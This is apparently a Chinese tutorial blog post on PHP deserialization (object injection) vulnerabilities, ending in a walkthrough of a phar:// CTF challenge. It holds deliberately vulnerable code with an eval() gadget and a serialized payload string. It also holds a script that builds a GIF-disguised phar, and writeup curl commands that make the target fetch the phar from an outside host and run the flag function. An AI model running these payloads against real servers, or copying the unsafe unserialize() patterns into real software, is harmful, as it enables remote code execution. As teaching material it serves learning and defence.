1.什么是序列化和反序列化?
PHP的序列化就是将各种类型的数据对象转换成一定的格式存储,其目的是为了将一个对象通过可保存的字节方式存储起来这样就可以将学列化字节存储到数据库或者文本当中,当需要的时候再通过反序列化获取。
serialize() //实现变量的序列化,返回结果为字符串 unserialize() //实现字符串的反序列化,返回结果为变量
下面我们看一个简单的序列化例子:
<?php class SerializeTest{ private $flag = "null"; public $aaa = "s1awwhy"; protected $ddd = "why"; public function set_flag($flag){ $this->flag = $flag; } public function get_flag(){ return $this->flag; } } $demo1 = new SerializeTest();$serialArray = serialize($array1); echo $serialArray; echo " ";$demo1->set_flag("flag{helloworld"); $serialization1 = serialize($demo1); echo $serialization1; ?>
输出结果:
对于不同权限的属性序列化中的结果也会不一样:
- public:序列化之后就是最普通的方式,属性名和属性值。
- private:私有权限,表示这个属性是该类所有对象共享的属性,属性名和类的名字在一起。序列化结果:%00类名%属性名
- protected:序列化之后的形式就是%00*%00属性名
另外从序列化结果中我们也可以发现只有类的属性被序列化,但是方法没有被序列化。
反序列化:
<?php /* 对数组array1进行序列化,然后打印序列化后的结果,并且写入文件中,接着输出这个数组。 */ $array1 = array('1','2','3'); $serialArray = serialize($array1); echo $serialArray; file_put_contents("serialization.txt",$serialArray); $array2 = unserialize($serialArray); print_r($array2); ?>
输出结果:
我们只需要更改serialization.txt中的内容就可以实现对数组内容的更改,当对类进行反序列化时,也是一样的道理,更改序列化之后的字符串就可以实现对类中的属性进行更改。
反序列化就是将格式化的序列化字符串进行还原,还原出我们想要的对象,实现属性的和方法的调用。那么攻击者就是利用这一点进行攻击,如果序列化的字符串内容被修改,对象的属性可能就会被修改,这就是反序列化攻击的核心原理。
2.为什么要进行序列化和反序列化?
- 序列化可以实现将对象压缩并格式化,方便数据的传输和存储。
- PHP文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,但是又不能总是存储这一对象,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。
3.反序列化漏洞
3.1 定义
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。
3.2 Magic function
Magic function也叫魔术方法,是PHP的类中的一种特殊方法,一些特定的情况下,某个魔术方法会自动被调用。
__construct() //构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 __destruct() //析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。 __wakeup() //调用unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。 __toString() //用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。 __sleep() //用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
为什么提到Magic function?
在前面提到了PHP反序列化攻击的核心原理是通过更改序列化字符串,实现对对象属性的更改,但是这里有一个问题就是,序列化和反序列化并没有针对方法进行操作,仅仅是将类的属性进行了序列化,如果被攻击者调用的函数中并没有用到我们更改的属性,那么我们的反序列化攻击就是无意义的。怎么解决这个问题呢?此时我们就要用到这个Magic function,因为某些魔术方法在序列化和反序列化过程中会自动调用,我们可以利用这一点来实现攻击。
测试Magic function:
<?php class MagicFunc{ private $flag = "null"; public $aaa = "s1awwhy"; protected $ddd = "why"; function __construct(){ echo "__construct()"; echo " "; } function __sleep(){ echo "__sleep()"; echo " "; return array("name"); } function __wakeup(){ echo "__wakeup()"; echo " "; } function __destruct(){ echo "__destruct()"; echo " "; } function __toString(){ return "__toString()"; // echo " "; } } $magicFunc = new MagicFunc(); $serialization = serialize($magicFunc); $result = unserialize($serialization); ?>
输出结果:
这里调用两次__destruct()是因为要销毁$magicFunction和$result。
3.3 利用魔术方法进行攻击
漏洞代码serialVul.php:
<?php class serialVul { private $test; public $s1awwhy = "i am s1awwhy"; function __construct() { $this->test = new L(); } function __destruct() { $this->test->action(); } } class L { function action() { echo "Welcome to websec"; } } class Evil { var $test2; function action() { eval($this->test2); } } echo "PHP_Serialize_Vulnerability"; unserialize($_GET['test']);
首先对这段代码进行一下分析,代码中定义了一个类serialVul,serialVul类中有属性test,构造函数中将一个L类的对象赋给test,析构函数会执行属性test的action()方法。代码中L类并没有什么可疑的地方,仅定义了一个普通的方法。还有一个Evil类,这个类中有属性test2、action()方法,action()方法中存在eval(),执行变量test2中的代码。这时候我们就可以利用这个Evil类中的action()方法来执行一些危险的代码。
我们可以构造一个serialVul类的对象,将Evil类的一个对象赋值给serialVul对象的test属性,将危险代码放入Evil类对象的test2属性中,然后对serialVul对象进行序列化,将序列化结果作为payload,实现攻击。
构造payload,这里我们在test2中赋一个phpinfo()方法,如果攻击成功那个将显示phpinfo,代码如下:
<?php class serialVul{ private $test; function __construct(){ $this->test = new Evil(); } } class Evil{ public $test2 = "phpinfo();"; } $serialVul1 = new serialVul; $payload = serialize($serialVul1); echo $payload; file_put_contents("payload.txt", $payload); ?>
生成payload:
?test=O:9:"serialVul":1:{s:15:"%00serialVul%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
生成的payload中需要注意的是:由于变量test是私有属性,需要在test和类名之前都加上%00,因为私有属性序列化之后的结果是%00类名%00属性名
攻击成功:
3.4 寻找PHP反序列化漏洞流程
- 寻找unserialize()方法的参数,并且看一下是否有我们的可控点
- 寻找一些可以的类作为反序列化目标,重点关注存在wakeup()和destruct()等魔术方法的类
- 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的,其实就是查看POP链中是否有可疑利用的属性
- 找到可以利用的属性之后就是利用代码来构造payload,实现攻击
4. POP链介绍
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,通过分析类中方法和属性的一层一层调用关系,将这些类、方法、属性拼接起来,形成一个一层一层的调用关系链,最后到达我们需要的函数中。
5.利用phar协议拓展PHP反序列化的攻击面
phar://协议
phar文件 :PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。
要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义),phar文件有四部分构成:
1.a stub(phar 文件标识)
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
2.a manifest describing the contents (攻击最核心的地方,存储序列化数据,也就是我们的恶意payload)
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3.文件内容
被压缩文件的内容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘
phar实战
题目源码:
<?php $FLAG = create_function("", 'die(`/read_flag`);'); // 得到 flag 的匿名函数 $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // 根据 remote_addr 给每个人创建一个沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); //将每个人唯一的沙盒对象加上签名后作为 session-data } class User { public $avatar; function __construct($path) { $this->avatar = $path; //设置了头像的路径为沙盒路径 } } class Admin extends User { function __destruct(){ $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" ." global $FLAG; $FLAG();" /*反序列化这个对象就能创建一个随机名字的函数,调用这个函数就能调用 flag,实际上这是一个骗局,匿名函数也是有名字的*/ ."}"); $_GET["lucky"](); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; //判断身份,如果身份正确返回头像路径(沙盒路径) //该函数不可绕过 } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); //获取头像,检查头是否为GIF89a ,正确后存入沙盒, //这个就是利用 phar:// 进行反序列化的点 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) { //获取这个沙盒中的头像, if ( !file_exists($path . "/avatar.gif") ) $path = "/var/www/html"; header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") upload(check_session()); else if ($mode == "show") show(check_session()); else highlight_file(__FILE__);
首先这个题目很明显能判断出来是php反序列化,那么第一步想到的就是找到unserailize()方法:
function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; //判断身份,如果身份正确返回头像路径(沙盒路径) //该函数不可绕过 }
要想利用unserailize(),通过控制参数实现反序列化,需要bypass对cookie的检测,那么看一下cookie生成的过程:
$FLAG = create_function("", 'die(`/read_flag`);'); // 得到 flag 的匿名函数 $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); // 根据 remote_addr 给每个人创建一个沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); //将每个人唯一的沙盒对象加上签名后作为 session-data }
但是cookie的生成是通过remote_addr 配合 sha1 进行 hmac 签名生成的,没办法进行绕过,所以就要换一个思路,又发现源码中upload函数:
function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); //获取头像,检查头是否为GIF89a ,正确后存入沙盒 //这个就是利用 phar:// 进行反序列化的点 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }
这里他是可以上传一个文件读取这个文件的数据,那么我们可以构造一个包含 Admin 对象、包含 avatar.gif 文件,stub是 GIF89a<?php xxx; __HALT_COMPILER();?>的phar文件,然后上传,下一次请求通过 Phar:// 协议让 file_get_contents 请求这个文件就可以实现我们对 Admin 对象的反序列化了。
payload:
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?>
Orange给出的wp:
# get a cookie $ curl http://host/ --cookie-jar cookie # download .phar file from http://orange.tw/avatar.gif $ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/' # force apache to fork new process $ python fork.py & # get flag $ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
总结
这篇文章是从0开始学习php序列化和反序列化,所以包含了基础的定义,以及php对象序列化和反序列化的过程,对不同对象序列化之后的结果进行了举例,说明了各个结构代表的内容。接下来就是序列化过程有哪些方法是可以被我们利用的,序列化和反序列化过程中那些方法会自动调用,并且总结了一下php反序列化漏洞利用的过程。最后提到了phar协议和反序列化漏洞的结合,并且找到了一个比较经典的例子,由于水平有限,这个例子大部分都是参考大佬。、
参考
https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.jianshu.com/p/8f498198fc3d
https://www.kingkk.com/2018/07/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.cnblogs.com/tr1ple/p/11156279.html#XFRQpyWp